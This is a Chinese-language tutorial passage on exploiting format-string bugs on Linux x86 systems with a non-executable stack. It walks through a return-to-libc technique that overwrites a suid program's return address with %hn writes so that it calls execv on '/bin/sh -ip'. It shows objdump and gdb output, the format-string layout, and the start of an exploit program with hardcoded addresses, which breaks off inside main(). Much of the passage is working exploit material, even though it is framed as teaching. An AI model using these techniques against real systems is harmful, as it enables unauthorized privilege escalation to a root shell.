4.关于 format string漏洞在non-exec stack linux x86上的应用.
这里不特指使用了哪些non-exec stack补丁的系统, 我们的利用目的就是让我们的代码执行起来, 利用的方法可以有以下两种:
1. 利用execv 直接执行我们的代码, 这样避免了代码是在堆栈里执行的情况了.
2. 利用strcpy等将代码段或者shellcode拷贝到可写而且可执行的数据段里面.
3. 高级利用技术, 请参阅Phrack文摘.
当然还有其他好几种方法, 1,2比较容易理解点, 这里就1和2做出解释.
参考vuln程序还是利用前面几章介绍的代码.
(1) 利用execv执行我们的代码.
我们来看execv的函数执行格式:
$man execv
EXEC(3) Linux Programmer's Manual EXEC(3)
NAME
execl, execlp, execle, execv, execvp - execute a file
SYNOPSIS
#include <unistd.h
extern char **environ;
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg , ..., char * const
envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
DESCRIPTION
从man page里面也可以知道为什么我们选用execv而不是用其他的execl,execlp等函数,或者system函数等,原因有几个:
a) execl,execlp函数最后面必须要有NULL结束, 等于就是0, 在format string里面想写入0到某个地址比较困难
b) execl,exclp等函数参数太多, 给我们构造format string带来了麻烦.
c) 为什么不用system呢? 从system的man page可以看出,system调用外部命令的方式是用/bin/sh -c , 对于一个具有suid的程序来说,bash 2版本不会加载suid权限为的, 除非我们给-p参数给他,也就是说除非使用/bin/sh -cp的方式调用才可以. 但system已经做死了, 所以不予考虑.虽然构造字符比较简单.
这里我们采用execv函数, 因为我们要在execv函数运行时候需要执行我们的参数, 所以写.dtors等方法不是很使用, 因为$esp的变动可能会影响我们的数据. 那我们就采用写函数的返回地址吧.
我们首先要知道几个地址:
a) execv在libc.so中的地址
b) 函数的返回地址
c) 我们的字符串在内存中的地址.
a,b, c等都可以轻松获得:
[bkbll@mobile test]$ objdump -x /lib/i686/libc.so.6 |grep execv
34 .gnu.warning.fexecve 00000039 00000000 00000000 0012a900 2**5
00000000 l O .gnu.warning.fexecve 00000039 __evoke_link_warning_fexecve
420ae650 l F .text 00000067 __execve
420ae9d0 l F .text 000002fc .hidden __GI_execvp
00000000 l d .gnu.warning.fexecve 00000000
420ae650 w F .text 00000067 execve
420ae6c0 g F .text 0000004d fexecve
420ae710 g F .text 00000039 execv
420ae9d0 g F .text 000002fc execvp
execv函数地址是0x 420ae710
我们来看看函数执行的时候返回地址在内存中存放的位置:
low addr--------------------------------- high addr
[ret addr][arg][arg][xxxxxxxxxxxxxxxxxxxxxx] :xxxx是我们不关心的数据
我们来看一看函数从leave 到ret指令的时候,esp和eip是怎么变化的:
0x80485c9 <foo+57: add $0x10,%esp
0x80485cc <foo+60: leave
0x80485cd <foo+61: ret
Breakpoint 4, foo (
line=0xbffff6a0 "/* write to foo function return address and esp\n")
at vuln.c:57
57 }
(gdb) i reg eip
eip 0x80485cc 0x80485cc
(gdb) i reg esp
esp 0xbffff680 0xbffff680
(gdb) ni
0x080485cd in foo (line=0x2 <Address 0x2 out of bounds) at vuln.c:57
57 }
(gdb) i reg eip esp
eip 0x80485cd 0x80485cd
esp 0xbffff68c 0xbffff68c
/* leave指令:eip 指向下一个要执行的地址,esp+12 */
(gdb) ni
0x08048583 in main (argc=2, argv=0xbffffb04) at vuln.c:44
44 foo (line);
(gdb) i reg eip esp
eip 0x8048583 0x8048583
esp 0xbffff690 0xbffff690
/* 要从函数返回了,eip指向函数的返回地址,就是前面的ret addr */
/* esp=esp+4; */
注意,这里的esp=(原来的ret addr) +4,
也就是说,如果我们改变程序流程的话, 让eip指向我们的函数,那么这个时候内存应该是这个样子:
low addr ----------------------------------------------------- high addr
[new function] [arg][arg][arg] [xxxxxxxxxxxxxxxxxxxxxxxxxxxx]
↑ $eip ↑$esp
跳到新函数地址后:
low addr ------------------------------------- high addr
[ret addr][arg][arg][arg][xxxxxxxxxxxxxxxxxxxxx]
↑$esp
也就是说原来的$esp+4成了调用我们函数的新返回地址 /* 这个在后面讨论strcpy调用的时候有用 */
由于我们的execv函数是没有返回的,也就是说这个地址没有必要构造, 而我们的execv有两个参数:( const char *path, char *const argv[])
所以在这里,我们需要写入三个地址:
[ret addr ] [ret addr+8] [retaddr+8+4]
假设我们想执行/bin/sh -ip的话, 那么
char *path="/bin/sh",
而char argv[]应该是:{"/bin/sh","-ip",NULL}
假设我们的"/bin/sh"字符的地址是:_bin_sh_addr,
我们可以这样构造字符串:
"/bin/sh\x00-ip\x00"
这个时候字符串"-ip"的地址应该是:_ip_addr=_bin_sh_addr+strlen("/bin/sh")+1;
这个时候我们可以来构造argv结构:
[_bin_sh_addr][_ip_addr][0x00000000]
↑argv addr
合并一下, 将"/bin/sh\x00-ip\x00"写在后面,就是:
[_bin_sh_addr][_ip_addr][0x00000000][somepad] "/bin/sh\x00-ip\x00"
注:这里的somepad可以为0,也可以为某些其他字符,没什么用途, 但是在某些特殊系统可能有用^^.
那么我们可以计算arg的地址 :):
_argv_addr=_bin_sh_addr-somepad-4*3
这个时候地址构造就全部出来了, 现在剩下的就是_bin_sh_addr的地址确定, 绝对地址虽然比较难确定, 但和我们字符串开头的地址还是比较容易确定的:) 构造好后可以搜索内存或者用变量统计就可以计算得出:)
这个时候我们需要把下面几个地址写进堆栈里面:
execv函数的地址 写进 函数返回地址
_bin_sh_addr 写进 函数返回地址+8
_argv_addr 写进 函数返回地址+8+4
我们可以手工模拟一下大概数据计算, 并且根据大小排列一下:
假设_bin_sh_addr在0xbffff780, somepad=0,那么argv addr=0xbffff780-12=0xbffff774
要写的数据:
0x420ae710 0xbffff780 0xbffff774
分别按16位拆开:
0x420a<0xbfff<0xe710<0xf774<0xf780
num1 num2 num3 num4 num5
再来看一下数据的构成(按照高位在后的原则:)
0x420ae710 0xbffff780 0xbffff774
num3 num1 num5 num2 num4 num2
假设第一个要写的数据地址是pad个间隔(从数据开始地址到函数返回地址):
那么上面可以重新排列一下:
0x420ae710 0xbffff780 0xbffff774
num3 num1 num5 num2 num4 num5
pad pad+1 pad+2 pad+3 pad+4 pad+5
好,我们可以构造一下数据:
假设我们在输出num1的前面还输出了j 个字节的内容,那么应该是这样:
num1-j 写到 pad+1处
num2-num1 写到 pad+3,pad+5处,
num3-num2 写到 pad处
num4-num3 写到 pad+4处
num5-num4 写到 pad+2处.
最后,我们构造的格式化字符串应该是这样的:
sprintf(buffer,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-num1,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);
最后就可以给出我们的exploit了:
/* write to foo function return address and esp
* use execv for getting shell in the non-exec stack system
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h
#include <stdlib.h
#include <strings.h
#include <sys/types.h
#include <sys/stat.h
#include <fcntl.h
#define want_write_addr 0xbffff6ac //foo return address
//#define want_write_addr2 0xbffff684 //esp address
#define pad 12 //pop esp value
#define allstraddr 0xbffff6c0 // string addr:for gdb is 0xbffff6a0,for prog:0xbffff6c0
#define execv_call_addr 0x420ae710 //objdump -x /lib/i686/libc.so.6 |grep execv
#define BUFSIZE 200
char shellcode[]=
"/bin/sh\x00-ip\x00";
char *file="./4";
main(int argc,char **argv)
{
char buffer[BUFSIZE];
int j=0,i=0;
int shell_addr_pad=80;
int somechar=0;
int want_write_addr2 = want_write_addr+8;
int want_write_addr3 = want_write_addr+8+4;
int argvaddr; //= _bin_shaddr-somechar-4*3;